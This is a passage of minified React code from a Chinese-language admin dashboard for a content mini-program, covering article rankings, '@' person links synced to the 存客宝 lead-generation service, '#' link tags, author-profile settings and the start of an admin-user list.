border-gray-700/50",children:[s.jsx("span",{children:"排名"}),s.jsx("span",{children:"置顶"}),s.jsx("span",{children:"标题"}),s.jsx("span",{className:"text-right",children:"点击量"}),s.jsx("span",{className:"text-right",children:"付款数"}),s.jsx("span",{className:"text-right",children:"热度"}),s.jsx("span",{className:"text-right",children:"编辑"})]}),Ma.map((M,Q)=>{const me=(Rn-1)*hs+Q+1,Ne=M.isPinned??Je.includes(M.id);return s.jsxs("div",{className:`grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2.5 items-center border-b border-gray-700/30 hover:bg-[#162840] transition-colors ${Ne?"bg-amber-500/5":""}`,children:[s.jsx("span",{className:`text-sm font-bold ${me<=3?"text-amber-400":"text-gray-500"}`,children:me<=3?["🥇","🥈","🥉"][me-1]:`#${me}`}),s.jsx(te,{variant:"ghost",size:"sm",className:`h-6 w-6 p-0 ${Ne?"text-amber-400":"text-gray-600 hover:text-amber-400"}`,onClick:()=>Pa(M.id),disabled:ct,title:Ne?"取消置顶":"强制置顶(精选推荐/首页最新更新)",children:Ne?s.jsx(gl,{className:"w-3.5 h-3.5 fill-current"}):s.jsx(xA,{className:"w-3.5 h-3.5"})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("span",{className:"text-white text-sm truncate block",children:M.title}),s.jsxs("span",{className:"text-gray-600 text-xs",children:[M.partTitle," · ",M.chapterTitle]})]}),s.jsx("span",{className:"text-right text-sm text-blue-400 font-mono",children:M.clickCount??0}),s.jsx("span",{className:"text-right text-sm text-green-400 font-mono",children:M.payCount??0}),s.jsx("span",{className:"text-right text-sm text-amber-400 font-mono",children:(M.hotScore??0).toFixed(1)}),s.jsx("div",{className:"text-right",children:s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-500 hover:text-[#38bdac] h-6 px-1",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price,filePath:""}),title:"编辑文章",children:s.jsx(Wt,{className:"w-3 h-3"})})})]},M.id)}),Ma.length===0&&s.jsx("div",{className:"py-8 text-center text-gray-500",children:"暂无数据"})]})})]})]}),s.jsxs(en,{value:"link-person",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] text-lg font-bold",children:"@"}),"AI列表 — 链接人与事(编辑器内输入 @ 可链接)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"添加时自动生成 32 位 token,文章 @ 时存 token;小程序点击 @ 时用 token 兑换真实密钥后加好友"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("p",{className:"text-xs text-gray-500",children:"添加人物时同步创建存客宝场景获客计划,配置与存客宝 API 获客一致"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>qr(),title:"刷新",children:s.jsx(qe,{className:"w-4 h-4"})}),s.jsxs(te,{size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",onClick:()=>{Xs(null),On(!0)},children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加"]})]})]}),s.jsx("div",{className:"max-h-[400px] overflow-y-auto",children:Wr.length>0?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("th",{className:"text-left py-1.5 px-3 w-[280px] font-normal",children:"token"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-24 font-normal",children:"@的人"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"获客计划活动名"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-20 font-normal",children:"planId"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"apiKey"}),s.jsx("th",{className:"text-left py-1.5 px-2 w-24 font-normal",children:"操作"})]})}),s.jsx("tbody",{children:Wr.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/30 hover:bg-[#0a1628]/80",children:[s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"32位token",children:M.id}),s.jsx("td",{className:"py-2 px-3 text-amber-400 truncate max-w-[96px]",title:"@的人",children:M.name}),s.jsxs("td",{className:"py-2 px-3 text-white truncate max-w-[200px]",title:"获客计划活动名",children:["SOUL链接人与事-",M.name]}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"存客宝计划ID",children:M.ckbPlanId??"-"}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono whitespace-nowrap",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[M.ckbApiKey?s.jsx(te,{variant:"ghost",size:"sm",className:"h-6 w-6 p-0 text-gray-500 hover:text-[#38bdac] shrink-0",title:"复制 apiKey",onClick:async()=>{await navigator.clipboard.writeText(M.ckbApiKey??""),ie.success("已复制到剪贴板")},children:s.jsx(Bx,{className:"w-3.5 h-3.5"})}):null,s.jsx("span",{title:M.ckbApiKey??"",children:M.ckbApiKey??"-"})]})}),s.jsx("td",{className:"py-2 px-2",children:s.jsxs("div",{className:"flex items-center gap-0",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-[#38bdac] h-6 px-2",title:"编辑",onClick:async()=>{try{const Q=await oV(M.personId||"");if(Q!=null&&Q.success&&Q.person){const me=Q.person;Xs({id:me.token??me.personId,personId:me.personId,name:me.name,label:me.label??"",ckbApiKey:me.ckbApiKey??"",remarkType:me.remarkType,remarkFormat:me.remarkFormat,addFriendInterval:me.addFriendInterval,startTime:me.startTime,endTime:me.endTime,deviceGroups:me.deviceGroups})}else Xs(M),Q!=null&&Q.error&&ie.error(Q.error)}catch(Q){console.error(Q),Xs(M),ie.error(Q instanceof Error?Q.message:"加载人物详情失败")}On(!0)},children:s.jsx(nj,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-amber-400 h-6 px-2",title:"编辑计划(跳转存客宝)",onClick:()=>{const Q=M.ckbPlanId;Q?window.open(`https://h5.ckb.quwanzhi.com/#/scenarios/edit/${Q}`,"_blank"):ie.info("该人物尚未同步存客宝计划,请先保存后等待同步完成")},children:s.jsx(Us,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",title:"删除(同时删除存客宝对应获客计划)",onClick:()=>Zs(M),children:s.jsx(ir,{className:"w-3 h-3"})})]})})]},M.id))})]}):s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无AI人物,添加后可在编辑器中 @链接"})})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-green-400"}),"存客宝绑定"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"配置存客宝 API 后,文章中 @人物 或 #标签 点击可自动进入存客宝流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝 API 地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"https://ckbapi.quwanzhi.com",defaultValue:"https://ckbapi.quwanzhi.com",readOnly:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"绑定计划"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"创业实验-内容引流",defaultValue:"创业实验-内容引流",readOnly:!0})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["具体存客宝场景配置与接口测试请前往"," ",s.jsx("button",{className:"text-[#38bdac] hover:underline",onClick:()=>window.open("/match","_blank"),children:"找伙伴 → 存客宝工作台"})]})]})]})]}),s.jsx(en,{value:"link-tag",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Bv,{className:"w-4 h-4 text-amber-400"}),"链接标签 — 链接事与物(编辑器内 #标签 可跳转链接/小程序/存客宝)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"小程序端点击 #标签 可直接跳转对应链接,进入流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap justify-between",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",placeholder:"如 team01",value:ft.tagId,onChange:M=>xn({...ft,tagId:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"显示文字"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-28",placeholder:"如 神仙团队",value:ft.label,onChange:M=>xn({...ft,label:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"类型"}),s.jsxs(hl,{value:ft.type,onValueChange:M=>xn({...ft,type:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",children:s.jsx(fl,{})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"url",children:"网页链接"}),s.jsx(_r,{value:"miniprogram",children:"小程序"}),s.jsx(_r,{value:"ckb",children:"存客宝"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:ft.type==="url"?"URL地址":ft.type==="ckb"?"存客宝计划URL":"小程序(选密钥)"}),ft.type==="miniprogram"&&Ra.length>0?s.jsxs("div",{ref:Di,className:"relative w-44",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:"搜索名称或密钥",value:Oi?ta:ft.appId,onChange:M=>{const Q=M.target.value;Ot(Q),fs(!0),Ra.some(me=>me.key===Q)||xn({...ft,appId:Q})},onFocus:()=>{Ot(ft.appId),fs(!0)},onBlur:()=>setTimeout(()=>fs(!1),150)}),Oi&&s.jsx("div",{className:"absolute top-full left-0 right-0 mt-1 max-h-48 overflow-y-auto rounded-md border border-gray-700 bg-[#0a1628] shadow-lg z-50",children:Li.length===0?s.jsx("div",{className:"px-3 py-2 text-gray-500 text-xs",children:"无匹配,可手动输入密钥"}):Li.map(M=>s.jsxs("button",{type:"button",className:"w-full px-3 py-2 text-left text-sm text-white hover:bg-[#38bdac]/20 flex flex-col gap-0.5",onMouseDown:Q=>{Q.preventDefault(),xn({...ft,appId:M.key,pagePath:M.path||""}),Ot(""),fs(!1)},children:[s.jsx("span",{children:M.name}),s.jsx("span",{className:"text-xs text-gray-400 font-mono",children:M.key})]},M.key))})]}):s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:ft.type==="url"?"https://...":ft.type==="ckb"?"https://ckbapi.quwanzhi.com/...":"关联小程序的32位密钥",value:ft.type==="url"||ft.type==="ckb"?ft.url:ft.appId,onChange:M=>{ft.type==="url"||ft.type==="ckb"?xn({...ft,url:M.target.value}):xn({...ft,appId:M.target.value})}})]}),ft.type==="miniprogram"&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"页面路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-36",placeholder:"pages/index/index",value:ft.pagePath,onChange:M=>xn({...ft,pagePath:M.target.value})})]}),s.jsxs(te,{size:"sm",className:"bg-amber-500 hover:bg-amber-600 text-white h-8",onClick:async()=>{if(!ft.tagId||!ft.label){ie.error("标签ID和显示文字必填");return}const M={...ft};M.type==="miniprogram"&&(M.url=""),await vt("/api/db/link-tags",M),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),Ir(null),Gr()},children:[s.jsx(hn,{className:"w-3 h-3 mr-1"}),Ur?"保存":"添加"]})]}),s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50 h-8",onClick:()=>Gr(),title:"刷新",children:s.jsx(qe,{className:"w-4 h-4"})})]}),s.jsxs("div",{className:"space-y-1 max-h-[400px] overflow-y-auto",children:[pe.map(M=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded px-3 py-2",children:[s.jsxs("div",{className:"flex items-center gap-3 text-sm",children:[s.jsxs("button",{type:"button",className:"text-amber-400 font-bold text-base hover:underline",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:["#",M.label]}),s.jsx(We,{variant:"secondary",className:`text-[10px] ${M.type==="ckb"?"bg-green-500/20 text-green-300 border-green-500/30":"bg-gray-700 text-gray-300"}`,children:M.type==="url"?"网页":M.type==="ckb"?"存客宝":"小程序"}),M.type==="miniprogram"?s.jsxs("span",{className:"text-gray-400 text-xs font-mono",children:[M.appId," ",M.pagePath?`· ${M.pagePath}`:""]}):M.url?s.jsxs("a",{href:M.url,target:"_blank",rel:"noreferrer",className:"text-blue-400 text-xs truncate max-w-[250px] hover:underline flex items-center gap-1",children:[M.url," ",s.jsx(Us,{className:"w-3 h-3 shrink-0"})]}):null]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-300 hover:text-white h-6 px-2",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:"编辑"}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",onClick:async()=>{await Bs(`/api/db/link-tags?tagId=${M.id}`),Ur===M.id&&(Ir(null),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""})),Gr()},children:s.jsx(ir,{className:"w-3 h-3"})})]})]},M.id)),pe.length===0&&s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无链接标签,添加后可在编辑器中使用 #标签 跳转"})]})]})]})}),s.jsx(en,{value:"linkedmp",className:"space-y-4",children:s.jsx(rV,{})})]}),s.jsx(lV,{open:Pt,onOpenChange:On,editingPerson:Qs,onSubmit:async M=>{var Ne;const Q={personId:M.personId||M.name.toLowerCase().replace(/\s+/g,"_")+"_"+Date.now().toString(36),name:M.name,label:M.label,ckbApiKey:M.ckbApiKey||void 0,greeting:M.greeting||void 0,tips:M.tips||void 0,remarkType:M.remarkType||void 0,remarkFormat:M.remarkFormat||void 0,addFriendInterval:M.addFriendInterval,startTime:M.startTime||void 0,endTime:M.endTime||void 0,deviceGroups:(Ne=M.deviceGroups)!=null&&Ne.trim()?M.deviceGroups.split(",").map(st=>parseInt(st.trim(),10)).filter(st=>!Number.isNaN(st)):void 0},me=await vt("/api/db/persons",Q);if(me&&me.success===!1){const st=me;st.ckbResponse&&console.log("存客宝返回",st.ckbResponse);const mt=st.error||"操作失败";throw new Error(mt)}if(qr(),ie.success(Qs?"已保存":"已添加"),me!=null&&me.ckbCreateResult&&Object.keys(me.ckbCreateResult).length>0){const st=me.ckbCreateResult;console.log("存客宝创建结果",st);const mt=st.planId??st.id,Bt=mt!=null?[`planId: ${mt}`]:[];st.apiKey!=null&&Bt.push("apiKey: ***"),ie.info(Bt.length?`存客宝创建结果:${Bt.join(",")}`:"存客宝创建结果见控制台")}}}),s.jsx(Dt,{open:!!Wn,onOpenChange:M=>{M||Zs(null)},children:s.jsxs(At,{showCloseButton:!0,className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-white text-base",children:"确认删除"}),s.jsx(yf,{className:"text-gray-400 text-sm leading-relaxed break-words",children:Wn&&s.jsxs(s.Fragment,{children:[s.jsxs("p",{children:["确定删除「SOUL链接人与事-",Wn.name,"」?将同时删除存客宝对应获客计划。"]}),s.jsxs("p",{className:"mt-1.5",children:["二次确认:删除后无法恢复,文章中的 @",Wn.name," 将无法正常跳转。"]})]})})]}),s.jsxs(on,{className:"gap-2 sm:gap-2 pt-1",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-300",onClick:()=>Zs(null),children:"取消"}),s.jsx(te,{variant:"destructive",size:"sm",className:"bg-red-600 hover:bg-red-700",onClick:async()=>{Wn&&(await Bs(`/api/db/persons?personId=${Wn.personId}`),Zs(null),qr(),ie.success("已删除"))},children:"确定删除"})]})]})})]})}const ba={name:"卡若",avatar:"K",avatarImg:"",title:"Soul派对房主理人 · 私域运营专家",bio:'每天早上6点到9点,在Soul派对房分享真实的创业故事。专注私域运营与项目变现,用"云阿米巴"模式帮助创业者构建可持续的商业体系。',stats:[{label:"商业案例",value:"62"},{label:"连续直播",value:"365天"},{label:"派对分享",value:"1000+"}],highlights:["5年私域运营经验","帮助100+品牌从0到1增长","连续创业者,擅长商业模式设计"]};function vw(t){return Array.isArray(t)?t.map(e=>e&&typeof e=="object"&&"label"in e&&"value"in e?{label:String(e.label),value:String(e.value)}:{label:"",value:""}).filter(e=>e.label||e.value):ba.stats}function Nw(t){return Array.isArray(t)?t.map(e=>typeof e=="string"?e:String(e??"")).filter(Boolean):ba.highlights}function uV(){const[t,e]=b.useState(ba),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),u=b.useRef(null);b.useEffect(()=>{De("/api/admin/author-settings").then(k=>{const C=k==null?void 0:k.data;C&&typeof C=="object"&&e({name:String(C.name??ba.name),avatar:String(C.avatar??ba.avatar),avatarImg:String(C.avatarImg??""),title:String(C.title??ba.title),bio:String(C.bio??ba.bio),stats:vw(C.stats).length?vw(C.stats):ba.stats,highlights:Nw(C.highlights).length?Nw(C.highlights):ba.highlights})}).catch(console.error).finally(()=>r(!1))},[]);const h=async()=>{i(!0);try{const k={name:t.name,avatar:t.avatar||"K",avatarImg:t.avatarImg,title:t.title,bio:t.bio,stats:t.stats.filter(T=>T.label||T.value),highlights:t.highlights.filter(Boolean)},C=await vt("/api/admin/author-settings",k);if(!C||C.success===!1){ie.error("保存失败: "+(C&&typeof C=="object"&&"error"in C?C.error:""));return}i(!1);const E=document.createElement("div");E.className="fixed top-4 right-4 z-50 px-4 py-2 rounded-lg bg-[#38bdac] text-white text-sm shadow-lg",E.textContent="作者设置已保存",document.body.appendChild(E),setTimeout(()=>E.remove(),2e3)}catch(k){console.error(k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{i(!1)}},f=async k=>{var E;const C=(E=k.target.files)==null?void 0:E[0];if(C){c(!0);try{const T=new FormData;T.append("file",C),T.append("folder","avatars");const I=pf(),O={};I&&(O.Authorization=`Bearer ${I}`);const R=await(await fetch(go("/api/upload"),{method:"POST",body:T,credentials:"include",headers:O})).json();R!=null&&R.success&&(R!=null&&R.url)?e(D=>({...D,avatarImg:R.url})):ie.error("上传失败: "+((R==null?void 0:R.error)||"未知错误"))}catch(T){console.error(T),ie.error("上传失败")}finally{c(!1),u.current&&(u.current.value="")}}},m=()=>e(k=>({...k,stats:[...k.stats,{label:"",value:""}]})),g=k=>e(C=>({...C,stats:C.stats.filter((E,T)=>T!==k)})),y=(k,C,E)=>e(T=>({...T,stats:T.stats.map((I,O)=>O===k?{...I,[C]:E}:I)})),N=()=>e(k=>({...k,highlights:[...k.highlights,""]})),w=k=>e(C=>({...C,highlights:C.highlights.filter((E,T)=>T!==k)})),v=(k,C)=>e(E=>({...E,highlights:E.highlights.map((T,I)=>I===k?C:T)}));return n?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"作者详情"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置小程序「关于作者」页展示的作者信息,包括头像、简介、统计数据与亮点标签。"})]}),s.jsxs(te,{onClick:h,disabled:a||n,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(co,{className:"w-4 h-4 text-[#38bdac]"}),"基本信息"]}),s.jsx(It,{className:"text-gray-400",children:"作者姓名、头像、头衔与个人简介,将展示在「关于作者」页顶部。"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.name,onChange:k=>e(C=>({...C,name:k.target.value})),placeholder:"卡若"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首字母占位(无头像时显示)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white w-20",value:t.avatar,onChange:k=>e(C=>({...C,avatar:k.target.value.slice(0,1)||"K"})),placeholder:"K"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zw,{className:"w-3 h-3 text-[#38bdac]"}),"头像图片"]}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:t.avatarImg,onChange:k=>e(C=>({...C,avatarImg:k.target.value})),placeholder:"上传或粘贴 URL,如 /uploads/avatars/xxx.png"}),s.jsx("input",{ref:u,type:"file",accept:"image/*",className:"hidden",onChange:f}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:o,onClick:()=>{var k;return(k=u.current)==null?void 0:k.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),o?"上传中...":"上传"]})]}),t.avatarImg&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:t.avatarImg.startsWith("http")?t.avatarImg:go(t.avatarImg),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头衔"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.title,onChange:k=>e(C=>({...C,title:k.target.value})),placeholder:"Soul派对房主理人 · 私域运营专家"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"个人简介"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[120px]",value:t.bio,onChange:k=>e(C=>({...C,bio:k.target.value})),placeholder:"每天早上6点到9点..."})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"统计数据"}),s.jsx(It,{className:"text-gray-400",children:"展示在作者卡片中的数字指标,如「商业案例 62」「连续直播 365天」。第一个「商业案例」的值可由书籍统计自动更新。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.stats.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.label,onChange:E=>y(C,"label",E.target.value),placeholder:"标签"}),s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.value,onChange:E=>y(C,"value",E.target.value),placeholder:"数值"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>g(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:m,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加统计项"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"亮点标签"}),s.jsx(It,{className:"text-gray-400",children:"作者优势或成就的简短描述,以标签形式展示。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.highlights.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k,onChange:E=>v(C,E.target.value),placeholder:"5年私域运营经验"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>w(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:N,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加亮点"]})]})]})]})]})}function hV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o]=b.useState(10),[c,u]=b.useState(0),[h,f]=b.useState(""),m=r0(h,300),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(!1),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState(""),[z,Z]=b.useState("admin"),[ne,fe]=b.useState("active"),[xe,$]=b.useState(!1);async function H(){var W;y(!0),w(null);try{const le=new URLSearchParams({page:String(a),pageSize:String(o)});m.trim()&&le.set("search",m.trim());const J=await De(`/api/admin/users?${le}`);J!=null&&J.success?(e(J.records||[]),r(J.total??0),u(J.totalPages??0)):w(J.error||"加载失败")}catch(le){const J=le;w(J.status===403?"无权限访问":((W=J==null?void 0:J.data)==null?void 0:W.error)||"加载失败"),e([])}finally{y(!1)}}b.useEffect(()=>{H()},[a,o,m]);const oe=()=>{E(null),I(""),L(""),D(""),Z("admin"),fe("active"),k(!0)},P=W=>{E(W),I(W.username),L(""),D(W.name||""),Z(W.role==="super_admin"?"super_admin":"admin"),fe(W.status==="disabled"?"disabled":"active"),k(!0)},q=async()=>{var W;if(!T.trim()){w("用户名不能为空");return}if(!C&&!O){w("新建时密码必填,至少 6 位");return}if(O&&O.length<6){w("密码至少 6 位");return}w(null),$(!0);try{if(C){const le=await zt("/api/admin/users",{id:C.id,password:O||void 0,name:R.trim(),role:z,status:ne});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}else{const le=await vt("/api/admin/users",{username:T.trim(),password:O,name:R.trim(),role:z});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}}catch(le){const J=le;w(((W=J==null?void 0:J.data)==null?void 0:W.error)||"保存失败")}finally{$(!1)}},B=async W=>{var le;if(confirm("确定删除该管理员?"))try{const J=await Bs(`/api/admin/users?id=${W}`);J!=null&&J.success?H():w((J==null?void 0:J.error)||"删除失败")}catch(J){const Y=J;w(((le=Y==null?void 0:Y.data)==null?void 0:le.error)||"删除失败")}},_=W=>{if(!W)return"-";try{const le=new Date(W);return isNaN(le.getTime())?W:le.toLocaleString("zh-CN")}catch{return W}};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-[#38bdac]"}),"管理员用户"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"后台登录账号管理,仅超级管理员可操作"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{placeholder:"搜索用户名/昵称",value:h,onChange:W=>f(W.target.value),className:"w-48 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500"}),s.jsx(te,{variant:"outline",size:"sm",onClick:H,disabled:g,className:"border-gray-600 text-gray-300",children:s.jsx(qe,{className:`w-4 h-4 ${g?"animate-spin":""}`})}),s.jsxs(te,{onClick:oe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增管理员"]})]})]}),N&&s.jsxs("div",{className:"mb-4 p-3 rounded-lg bg-red-500/10 border border-red-500/20 text-red-400 text-sm flex justify-between items-center",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"text-red-400 hover:text-red-300",children:"×"})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:g?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户名"}),s.jsx(ke,{className:"text-gray-400",children:"昵称"}),s.jsx(ke,{className:"text-gray-400",children:"角色"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"}),s.jsx(ke,{className:"text-right 